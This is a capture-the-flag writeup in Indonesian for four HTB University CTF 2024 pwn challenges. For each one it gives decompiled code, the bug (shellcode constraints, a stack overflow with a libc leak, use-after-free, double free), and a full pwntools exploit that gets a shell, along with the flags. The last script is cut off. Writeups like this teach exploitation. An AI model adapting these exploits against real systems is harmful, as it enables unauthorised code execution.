<style>
img[alt=chall-sc] {
display: block;
margin: 0 auto;
width: 100em;
}
p {
text-align: justify;
}
p::first-line {
text-indent: 0;
}
</style>
# University CTF 2024: Binary Badlands Pwn Writeup (Bahasa Indonesia)
## Reconstruction

Decompile ELFnya
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int buf; // [rsp+3h] [rbp-Dh] BYREF
char v4; // [rsp+7h] [rbp-9h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
banner(argc, argv, envp);
buf = 0;
v4 = 0;
printstr("\n[*] Initializing components...\n");
sleep(1u);
puts("\x1B[1;31m");
printstr("[-] Error: Misaligned components!\n");
puts("\x1B[1;34m");
printstr("[*] If you intend to fix them, type \"fix\": ");
read(0, &buf, 4uLL);
if ( !strncmp((const char *)&buf, "fix", 3uLL) )
{
puts("\x1B[1;33m");
printstr("[!] Carefully place all the components: ");
if ( (unsigned __int8)check() )
read_flag();
exit(1312);
}
puts("\x1B[1;31m");
printstr("[-] Mission failed!\n\n");
exit(1312);
}
```
### check
```c
__int64 check()
{
__int64 v0; // rbx
__int64 v1; // rbx
__int64 v2; // rbx
__int64 v3; // rbx
__int64 v4; // rbx
__int64 v5; // rax
unsigned __int8 i; // [rsp+Fh] [rbp-71h]
_QWORD *addr; // [rsp+10h] [rbp-70h]
__int64 buf; // [rsp+20h] [rbp-60h] BYREF
__int64 v10; // [rsp+28h] [rbp-58h]
__int64 v11; // [rsp+30h] [rbp-50h]
__int64 v12; // [rsp+38h] [rbp-48h]
__int64 v13; // [rsp+40h] [rbp-40h]
_BYTE v14[13]; // [rsp+48h] [rbp-38h] BYREF
__int64 v15; // [rsp+55h] [rbp-2Bh]
unsigned __int64 v16; // [rsp+68h] [rbp-18h]
v16 = __readfsqword(0x28u);
addr = mmap(0LL, 0x3CuLL, 7, 34, -1, 0LL);
if ( addr == (_QWORD *)-1LL )
{
perror("mmap");
exit(1);
}
buf = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
memset(v14, 0, sizeof(v14));
v15 = 0LL;
read(0, &buf, 0x3CuLL);
v0 = v10;
*addr = buf;
addr[1] = v0;
v1 = v12;
addr[2] = v11;
addr[3] = v1;
v2 = *(_QWORD *)v14;
addr[4] = v13;
addr[5] = v2;
v3 = v15;
*(_QWORD *)((char *)addr + 45) = *(_QWORD *)&v14[5];
*(_QWORD *)((char *)addr + 53) = v3;
if ( !(unsigned int)validate_payload(addr, 59LL) )
{
error("Invalid payload! Execution denied.\n");
exit(1);
}
((void (*)(void))addr)();
munmap(addr, 0x3CuLL);
for ( i = 0; i <= 6u; ++i )
{
if ( regs((&::buf)[i]) != values[i] )
{
v4 = values[i];
v5 = regs((&::buf)[i]);
printf(
"%s\n[-] Value of [ %s$%s%s ]: [ %s0x%lx%s ]%s\n\n[+] Correct value: [ %s0x%lx%s ]\n\n",
"\x1B[1;31m",
"\x1B[1;35m",
(&::buf)[i],
"\x1B[1;31m",
"\x1B[1;35m",
v5,
"\x1B[1;31m",
"\x1B[1;32m",
"\x1B[1;33m",
v4,
"\x1B[1;32m");
return 0LL;
}
}
return 1LL;
}
```
### values
```c
_QWORD values[8] =
{
0x1337c0de,
0xdeadbeef,
0xdead1337,
0x1337cafe,
0xbeefc0de,
0x13371337,
0x1337dead,
0x0
}; // weak
```
### validate_payload
```c
__int64 __fastcall validate_payload(__int64 a1, unsigned __int64 a2)
{
int v3; // [rsp+14h] [rbp-1Ch]
unsigned __int64 i; // [rsp+18h] [rbp-18h]
unsigned __int64 j; // [rsp+20h] [rbp-10h]
for ( i = 0LL; i < a2; ++i )
{
v3 = 0;
for ( j = 0LL; j <= 0x11; ++j )
{
if ( *(_BYTE *)(a1 + i) == allowed_bytes[j] )
{
v3 = 1;
break;
}
}
if ( !v3 )
{
printf("%s\n[-] Invalid byte detected: 0x%x at position %zu\n", "\x1B[1;31m", *(unsigned __int8 *)(a1 + i), i);
return 0LL;
}
}
return 1LL;
}
```
### allowed_bytes
```c
_BYTE allowed_bytes[32] =
{
73,
-57,
-71,
-64,
-34,
55,
19,
-60,
-58,
-17,
-66,
-83,
-54,
-2,
-61,
0,
-70,
-67,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
};
```
### read_flag
```c
unsigned __int64 read_flag()
{
char buf; // [rsp+3h] [rbp-Dh] BYREF
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("./flag.txt", 0);
if ( fd < 0 )
{
perror("\nError opening flag.txt, please contact an Administrator\n");
exit(1);
}
while ( read(fd, &buf, 1uLL) > 0 )
fputc(buf, _bss_start);
close(fd);
return v3 - __readfsqword(0x28u);
}
```
Intinya kita ngeset value register r8, r9, r10, r12, r13, r14, dan r15 dengan hanya menggunakan bytes yang di allowed. Set valuenya sesuai dengan yang dicek di fungsi `check`. Karena stacknya `executable`, kita gunakan shellcode agar fungsi `read_flag` ditrigger sehingga flag ditampilkan di layar kita
r8 -> 0x1337c0de
r9 -> 0xdeadbeef
r10 -> 0xdead1337
r12 -> 0x1337cafe
r13 -> 0xbeefc0de
r14 -> 0x13371337
r15 -> 0x1337dead
### POC
```python
#!/usr/bin/env python3
from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()
def start(argv=[], *a, **kw):
if args.LOCAL:
argv = argv if argv else [exe.path]
if args.GDB:
return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
return process(argv, *a, **kw)
return remote(args.HOST or host, args.PORT or port, *a, **kw)
gdbscript = """
c
"""
host, port = "nc 94.237.50.242 41892".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./reconstruction", False)
io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
if name is None:
frame = inspect.currentframe().f_back
name = [k for k, v in frame.f_locals.items() if v is value][0]
log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)
context.log_level = 'debug'
sl(b'fix')
sc = asm('''
mov r8, 0x1337c0de
mov r9, 0xdeadbeef
mov r10, 0xdead1337
mov r12, 0x1337cafe
mov r13, 0xbeefc0de
mov r14, 0x13371337
mov r15, 0x1337dead
ret
''')
log.info(f"sc length: {len(sc)}")
sl(sc)
com()
```
`HTB{r3c0n5trucT_d3m_r3g5_e3e217497c70cb12d3ae96b09a29184c}`
## Recruitment

Decompile ELFnya
### main
```c++
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
char *v4; // rbx
_BYTE v6[32]; // [rsp+0h] [rbp-280h] BYREF
__int64 v7; // [rsp+20h] [rbp-260h] BYREF
__int64 v8; // [rsp+40h] [rbp-240h] BYREF
_BYTE v9[32]; // [rsp+70h] [rbp-210h] BYREF
__int64 v10; // [rsp+90h] [rbp-1F0h] BYREF
__int64 v11; // [rsp+B0h] [rbp-1D0h] BYREF
_BYTE v12[112]; // [rsp+E0h] [rbp-1A0h] BYREF
_BYTE v13[47]; // [rsp+150h] [rbp-130h] BYREF
char v14; // [rsp+17Fh] [rbp-101h] BYREF
_BYTE v15[47]; // [rsp+180h] [rbp-100h] BYREF
char v16; // [rsp+1AFh] [rbp-D1h] BYREF
_BYTE v17[32]; // [rsp+1B0h] [rbp-D0h] BYREF
_BYTE v18[32]; // [rsp+1D0h] [rbp-B0h] BYREF
_BYTE v19[32]; // [rsp+1F0h] [rbp-90h] BYREF
_BYTE v20[32]; // [rsp+210h] [rbp-70h] BYREF
_BYTE v21[40]; // [rsp+230h] [rbp-50h] BYREF
char *v22; // [rsp+258h] [rbp-28h]
char *v23; // [rsp+260h] [rbp-20h]
char **profile; // [rsp+268h] [rbp-18h]
Profile::Profile((Profile *)v9);
Profile::Profile((Profile *)v6);
while ( flag != 3 )
{
v3 = menu();
if ( v3 == 3 )
{
if ( flag )
{
std::string::basic_string(v21, v6);
journey((__int64)v21);
std::string::~string(v21);
}
else
{
error("You need to set up your profile first!\n");
}
}
else
{
if ( v3 > 3 )
goto LABEL_17;
if ( v3 == 1 )
{
if ( flag == 1 )
{
error("You cannot create a second profile!\n");
}
else
{
profile = create_profile();
v4 = profile[2];
v23 = &v14;
std::string::basic_string<std::allocator<char>>(v13, profile[1], &v14);
v22 = &v16;
std::string::basic_string<std::allocator<char>>(v15, *profile, &v16);
Profile::Profile(v12, v15, v13, v4);
Profile::operator=(v6, v12);
Profile::~Profile((Profile *)v12);
std::string::~string(v15);
std::__new_allocator<char>::~__new_allocator(&v16);
std::string::~string(v13);
std::__new_allocator<char>::~__new_allocator(&v14);
}
}
else
{
if ( v3 != 2 )
{
LABEL_17:
error("Invalid operation! Safety mechanism activated! Abort the room!\n");
exit(1312);
}
if ( flag )
{
std::string::basic_string(v19, &v7);
std::string::basic_string(v20, v6);
Profile::display(v6, v20, v19, &v8);
std::string::~string(v20);
std::string::~string(v19);
}
else
{
std::string::basic_string(v17, &v10);
std::string::basic_string(v18, v9);
Profile::display(v9, v18, v17, &v11);
std::string::~string(v18);
std::string::~string(v17);
}
}
}
}
Profile::~Profile((Profile *)v6);
Profile::~Profile((Profile *)v9);
return 0;
}
```
### create_profile
```c++
char **create_profile(void)
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // rax
const char *v14; // rax
const char *v15; // rax
char **v16; // rbx
char buf[256]; // [rsp+0h] [rbp-160h] BYREF
_BYTE v19[32]; // [rsp+100h] [rbp-60h] BYREF
_BYTE v20[32]; // [rsp+120h] [rbp-40h] BYREF
char **v21; // [rsp+140h] [rbp-20h]
int i; // [rsp+14Ch] [rbp-14h]
v21 = (char **)operator new[](0x18uLL);
for ( i = 0; i <= 2; ++i )
v21[i] = (char *)operator new[](0x64uLL);
std::string::basic_string(v20);
std::string::basic_string(v19);
fflush(_bss_start);
std::operator<<<std::char_traits<char>>(
&std::cout,
"\n[*] You need to enter your Name, Class, and Age.\n\n[+] Name: ");
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v20);
std::operator<<<std::char_traits<char>>(&std::cout, "[+] Class: ");
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v19);
std::operator<<<std::char_traits<char>>(&std::cout, "[+] Age: ");
read(0, buf, 32uLL);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_404010);
v1 = std::operator<<<std::char_traits<char>>(v0, "\x1B[1;35m");
v2 = std::operator<<<char>(v1, v20);
v3 = std::operator<<<std::char_traits<char>>(v2, "\x1B[1;34m");
v4 = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(v4, "[*] Class: ");
v6 = std::operator<<<std::char_traits<char>>(v5, "\x1B[1;33m");
v7 = std::operator<<<char>(v6, v19);
v8 = std::operator<<<std::char_traits<char>>(v7, "\x1B[1;34m");
v9 = std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v10 = std::operator<<<std::char_traits<char>>(v9, "[*] Age: ");
v11 = std::operator<<<std::char_traits<char>>(v10, buf);
v12 = std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v13 = std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(v13, &unk_404128);
buf[strcspn(buf, "\n")] = 0;
v14 = (const char *)std::string::c_str(v20);
strcpy(*v21, v14);
v15 = (const char *)std::string::c_str(v19);
strcpy(v21[1], v15);
strcpy(v21[2], buf);
flag = 1;
v16 = v21;
std::string::~string(v19);
std::string::~string(v20);
return v16;
}
```
### journey
```c++
__int64 __fastcall journey(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
char v8[8]; // [rsp+10h] [rbp-20h] BYREF
__int64 v9; // [rsp+18h] [rbp-18h]
__int64 v10; // [rsp+20h] [rbp-10h]
__int64 v11; // [rsp+28h] [rbp-8h]
flag = 3;
v1 = std::operator<<<std::char_traits<char>>(
&std::cout,
"\x1B[1;32m\n[!] The fate of the Frontier Cluster lies on loyal and brave Space Cowpokes like you [ ");
v2 = std::operator<<<std::char_traits<char>>(v1, "\x1B[1;35m");
v3 = std::operator<<<char>(v2, a1);
v4 = std::operator<<<std::char_traits<char>>(v3, "\x1B[1;32m");
v5 = std::operator<<<std::char_traits<char>>(v4, " ].");
v6 = std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(
v6,
" We need you to tell us a bit about you so that we can assign to you your first mission: ");
*(_QWORD *)v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
return std::istream::getline((std::istream *)&std::cin, v8, 47LL);
}
```
Kita bisa mendapatkan address `_IO_file_xsputn+506` dari `read(0, buf, 32uLL)` jika kita mengoverwrite 1 byte lsb dari address tersebut tanpa menggunakan newline `\n`, dan ada buffer overflow 7 bytes di `std::istream::getline((std::istream *)&std::cin, v8, 47LL)` pada fungsi `journey` karena ukuran v8 adalah 32 bytes `char v8 (rbp-0x20)`. Jadi untuk mengoverwrite `saved_rip` pasti 40 bytes (32 + 8). Overwrite `saved rip` menjadi `posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)` untuk mentrigger `arbitrary code execution`
### POC
```python
#!/usr/bin/env python3
from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()
def start(argv=[], *a, **kw):
if args.LOCAL:
argv = argv if argv else [exe.path]
if args.GDB:
return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
return process(argv, *a, **kw)
return remote(args.HOST or host, args.PORT or port, *a, **kw)
gdbscript = """
c
"""
host, port = "nc 94.237.61.84 48717".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./recruitment", False)
io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
if name is None:
frame = inspect.currentframe().f_back
name = [k for k, v in frame.f_locals.items() if v is value][0]
log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)
libc = ELF("./glibc/libc.so.6")
context.log_level = 'debug'
def create_profile(name, claz, age):
sla(b'$ ', b'1')
sla(b'Name: ', name)
sla(b'Class: ', claz)
sa(b'Age: ', age)
def show_profile():
sla(b'$ ', b'2')
def start_journey(p):
sl(p)
create_profile(b'A' * 8, b'B' * 8, b'C' * 25)
rud(b'[*] Age: ' + b'C' * 25)
_IO_file_xsputn_506 = u64(lj(b'\xca' + io.recv(5), 8, b'\0'))
li(_IO_file_xsputn_506)
libc.address = _IO_file_xsputn_506 - 0x93bca
li(libc.address, "libc_base")
sla(b'$ ', b'3')
start_journey(cyclic(0x28) + p64(libc.address + 0x583e3)[:-2])
com()
```
`HTB{R34dy_0R_n0t_w3_4r3_c0m1ng_eedf733c3a917e1ba9ad718c5711fa8a}`
## Prison Break

Decompile ELFnya
### main
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
banner();
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 4 )
break;
copy_paste();
}
if ( v3 > 4 )
{
LABEL_12:
error("Invalid option");
}
else
{
switch ( v3 )
{
case 3:
view();
break;
case 1:
create();
break;
case 2:
delete();
break;
default:
goto LABEL_12;
}
}
}
}
```
### create
```c
unsigned __int64 create()
{
void *v0; // rax
bool v2; // [rsp+7h] [rbp-29h]
__int64 v3; // [rsp+8h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+10h] [rbp-20h] BYREF
_QWORD *v5; // [rsp+18h] [rbp-18h]
__int16 buf; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( (unsigned int)bounty_idx > 49 )
{
error("Maximum number of bounty registrations reached. Shutting down...");
exit(-1);
}
printf("Bounty amount (Zell Bars): ");
v3 = 0LL;
__isoc99_scanf("%lu", &v3);
printf("Wanted alive (y/n): ");
buf = 0;
read(0, &buf, 2uLL);
HIBYTE(buf) = 0;
v2 = strcmp((const char *)&buf, "y") == 0;
printf("Description size: ");
v4 = 0LL;
__isoc99_scanf("%lu", &v4);
if ( v4 <= 0x64 )
{
v5 = malloc(0x20uLL);
if ( !v5 )
{
error("Failed to allocate space for bounty");
exit(-1);
}
v5[1] = v3;
*((_BYTE *)v5 + 25) = v2;
v5[2] = v4;
v0 = malloc(v5[2]);
*v5 = v0;
*((_BYTE *)v5 + 24) = 1;
if ( !*v5 )
{
error("Failed to allocate space for bounty description");
exit(-1);
}
puts("Bounty description:");
read(0, (void *)*v5, v5[2]);
Bounties[bounty_idx] = v5;
printf("Bounty ID: %d\n\n", bounty_idx);
++bounty_idx;
}
else
{
error("Description size exceeds size limit");
}
return __readfsqword(0x28u) ^ v7;
}
```
### view
```c
unsigned __int64 view()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Journal index:");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 < 0xA )
{
if ( !Chunks[v1] )
error("Journal index does not exist");
if ( *(_BYTE *)(Chunks[v1] + 16LL) != 1 )
error("Journal is not inuse");
else
printf(
"Day #%s%u%s entry:\n%s\n",
"\x1B[1;31m",
*(_DWORD *)(Chunks[v1] + 20LL),
"\x1B[1;97m",
*(const char **)Chunks[v1]);
}
else
{
error("Journal index out of range");
}
return __readfsqword(0x28u) ^ v2;
}
```
### delete
```c
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Journal index:");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 < 0xA )
{
if ( Chunks[v1] && *(_BYTE *)(Chunks[v1] + 16LL) )
{
*(_BYTE *)(Chunks[v1] + 16LL) = 0;
free(*(void **)Chunks[v1]);
}
else
{
error("Journal is not inuse");
}
}
else
{
error("Journal index out of range");
}
return __readfsqword(0x28u) ^ v2;
}
```
### copy_paste
```c
unsigned __int64 copy_paste()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
puts("Copy index:");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0xA || (puts("Paste index:"), __isoc99_scanf("%d", &v2), v2 >= 0xA) )
{
error("Index out of range");
}
else if ( Chunks[v1] && Chunks[v2] )
{
if ( *(_BYTE *)(Chunks[v1] + 16LL) || *(_BYTE *)(Chunks[v2] + 16LL) )
{
if ( *(_QWORD *)(Chunks[v1] + 8LL) <= *(_QWORD *)(Chunks[v2] + 8LL) )
{
*(_DWORD *)(Chunks[v2] + 20LL) = day;
memcpy(*(void **)Chunks[v2], *(const void **)Chunks[v1], *(_QWORD *)(Chunks[v1] + 8LL));
puts("Copy successfull!\n");
}
else
{
error("Copy index size cannot be larger than the paste index size");
}
}
else
{
error("Journal index not in use");
}
}
else
{
error("Invalid copy/paste index");
}
return __readfsqword(0x28u) ^ v3;
}
```
Terdapat `Use-After-Free` vulnerability di `free(*(void **)Chunks[v1])` karena pointer ke journal tidak di null setelah difreed. Meskipun index chunk di null setelah kita mendelete suatu journal `*(_BYTE *)(Chunks[v1] + 16LL) = 0`, kita tetap bisa mengoverwrite freed chunk tersebut dengan journal di index lain karena pengecekan di fungsi `copy_paste` menggunakan `or` untuk kondisi `if` jadi jika `copy_index` valid dan `copy_destination` invalid, maka tetap valid `if ( *(_BYTE *)(Chunks[v1] + 0x10LL) || *(_BYTE *)(Chunks[v2] + 0x10LL) )`. GLIBC yang digunakan ELF tersebut adalah GLIBC 2.27 yang masih mempunyai `__free_hook` dan `__malloc_hook` serta tidak ada `safe-linking`. Jadi, untuk mentrigger `arbitrary code execution`, kita bisa mengoverwrite `__free_hook` menjadi `execve("/bin/sh", rsp+0x40, environ)` kemudian mendelete salah satu journal yang telah kita buat agar `free` ditrigger
### POC
```python
#!/usr/bin/env python3
from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()
def start(argv=[], *a, **kw):
if args.LOCAL:
argv = argv if argv else [exe.path]
if args.GDB:
return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
return process(argv, *a, **kw)
return remote(args.HOST or host, args.PORT or port, *a, **kw)
gdbscript = """
c
"""
host, port = "nc 83.136.250.185 32651".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./prison_break", False)
libc = ELF("./glibc/libc.so.6", checksec = 0)
ld = ELF("./glibc/ld-2.27.so")
io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
if name is None:
frame = inspect.currentframe().f_back
name = [k for k, v in frame.f_locals.items() if v is value][0]
log.info(f"{name}: {hex(value)}")
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
cl = lambda: io.close()
rlf = lambda: io.recvline(0)
bfh = lambda a: bytes.fromhex(a)
def add(idx, sz, data):
sla(b'# ', b'1')
sl(str(idx).encode())
sl(str(sz).encode())
s(data)
def delete(idx):
sla(b'# ', b'2')
sl(str(idx).encode())
def view(idx):
sla(b'# ', b'3')
sl(str(idx).encode())
def copas(src_idx, dest_idx):
sla(b'# ', b'4')
sl(str(src_idx).encode())
sl(str(dest_idx).encode())
context.log_level = 'debug'
libc = ELF("./glibc/libc.so.6", checksec = 0)
io.recv()
add(0, 0x428, b'#')
add(1, 0x428, b'#')
delete(0)
copas(0, 1)
view(1)
for i in range(0, 3):
rl()
main_arena_96 = u64(lj(rud(b'\n'), 8, b'\0'))
li(main_arena_96)
libc.address = main_arena_96 - 0x3ebca0
assert libc.address & 0xfff == 0
li(libc.address, "libc_base")
__free_hook = libc.address + 0x3ed8e8
add(2, 0x28, b'#')
add(3, 0x28, b'#')
add(4, 0x28, p64(__free_hook))
delete(3)
delete(2)
copas(4, 2)
add(2, 0x28, b'#')
add(3, 0x28, p64(libc.address + 0x4f432))
delete(2)
com()
```
`HTB{h4cky_pr1s0n_br34k_142941001a13ddad70f7655dbd183521}`
## Dead or Alive
Lupa discreenshot deskripsi challengenya, tapi tidak penting juga deskripsinya karena hanya basa-basi.
Decompile ELFnya
### main
```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
banner();
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 3 )
break;
view();
}
if ( v3 > 3 )
{
LABEL_10:
error("Invalid option");
}
else if ( v3 == 1 )
{
create();
}
else
{
if ( v3 != 2 )
goto LABEL_10;
delete();
}
}
}
```
### menu
```c
__int64 menu()
{
unsigned int v1; // [rsp+Ch] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+10h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf(
" [ %sOfficial Bounty Service%s ]\n"
"#################################\n"
"## %s[1] Register bounty %s ##\n"
"## %s[2] Remove bounty %s ##\n"
"## %s[3] View registered bounty %s ##\n"
"#################################\n"
"==> ",
"\x1B[1;31m",
"\x1B[1;97m",
"\x1B[1;31m",
"\x1B[1;97m",
"\x1B[1;31m",
"\x1B[1;97m",
"\x1B[1;31m",
"\x1B[1;97m");
v1 = 0;
__isoc99_scanf("%d", &v1);
putchar(10);
return v1;
}
```
### create
```c
unsigned __int64 create()
{
void *v0; // rax
bool v2; // [rsp+7h] [rbp-29h]
__int64 v3; // [rsp+8h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+10h] [rbp-20h] BYREF
_QWORD *v5; // [rsp+18h] [rbp-18h]
__int16 buf; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( (unsigned int)bounty_idx > 0x31 )
{
error("Maximum number of bounty registrations reached. Shutting down...");
exit(-1);
}
printf("Bounty amount (Zell Bars): ");
v3 = 0LL;
__isoc99_scanf("%lu", &v3);
printf("Wanted alive (y/n): ");
buf = 0;
read(0, &buf, 2uLL);
HIBYTE(buf) = 0;
v2 = strcmp((const char *)&buf, "y") == 0;
printf("Description size: ");
v4 = 0LL;
__isoc99_scanf("%lu", &v4);
if ( v4 <= 0x64 )
{
v5 = malloc(0x20uLL);
if ( !v5 )
{
error("Failed to allocate space for bounty");
exit(-1);
}
v5[1] = v3;
*((_BYTE *)v5 + 25) = v2;
v5[2] = v4;
v0 = malloc(v5[2]);
*v5 = v0;
*((_BYTE *)v5 + 24) = 1;
if ( !*v5 )
{
error("Failed to allocate space for bounty description");
exit(-1);
}
puts("Bounty description:");
read(0, (void *)*v5, v5[2]);
Bounties[bounty_idx] = v5;
printf("Bounty ID: %d\n\n", bounty_idx);
++bounty_idx;
}
else
{
error("Description size exceeds size limit");
}
return __readfsqword(0x28u) ^ v7;
}
```
### delete
```c
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Bounty ID: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 < (unsigned int)bounty_idx )
{
if ( *(_BYTE *)(Bounties[v1] + 24LL) == 1 && *(_QWORD *)Bounties[v1] )
{
free(*(void **)Bounties[v1]);
*(_QWORD *)Bounties[v1] = 0LL;
*(_BYTE *)(Bounties[v1] + 24LL) = 0;
free((void *)Bounties[v1]);
putchar(10);
}
else
{
error("Invalid ID");
}
}
else
{
error("Bounty ID out of range");
}
return __readfsqword(0x28u) ^ v2;
}
```
### view
```c
unsigned __int64 view()
{
const char *v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Bounty ID: ");
v2 = 0;
__isoc99_scanf("%d", &v2);
if ( v2 < 0x32 )
{
if ( Bounties[v2] )
{
if ( *(_BYTE *)(Bounties[v2] + 24LL) != 1 )
{
error("Bounty has been removed");
}
else
{
if ( *(_BYTE *)(Bounties[v2] + 25LL) )
v0 = "Yes";
else
v0 = "No";
printf(
"\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n",
*(_QWORD *)(Bounties[v2] + 8LL),
v0,
*(const char **)Bounties[v2]);
}
}
else
{
error("Bounty ID does not exist");
}
}
else
{
error("ID out of range");
}
return __readfsqword(0x28u) ^ v3;
}
```
Terdapat `Double-Free` dan `Use-After-Free` vulnerability di fungsi `delete`. GLIBC yang digunakan adalah versi 2.35, jadi terdapat `safe-linking` dan tidak ada `__free_hook` dan `__malloc_hook`. Max allocation size adalah `0x64` bytes. Namun, kita bisa mengcreate fake chunk untuk mentrigger `main_arena+96` di unsortedbins and then kita hitung libc base addressnya. Setelah mendapatkan libc base address, langsung saja overwrite return address dari fungsi `create` dengan `system('/bin/sh')` untuk mentrigger `arbitrary code execution`.
### POC
```python
#!/usr/bin/env python3
from pwn import *
import inspect
context.terminal = "kitty @launch --location=split --cwd=current".split()
def start(argv=[], *a, **kw):
if args.LOCAL:
argv = argv if argv else [exe.path]
if args.GDB:
return gdb.debug(argv, gdbscript=gdbscript, *a, **kw)
return process(argv, *a, **kw)
return remote(args.HOST or host, args.PORT or port, *a, **kw)
gdbscript = """
c
"""
host, port = "nc 83.136.254.158 30659".split(" ")[1:3]
exe = context.binary = ELF(args.EXE or "./dead_or_alive", False)
libc = ELF("./glibc/libc.so.6", checksec = 0)
ld = ELF("./glibc/ld-2.35.so")
io = start()
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
def li(value, name=None):
if name is None:
frame = inspect.currentframe().f_back
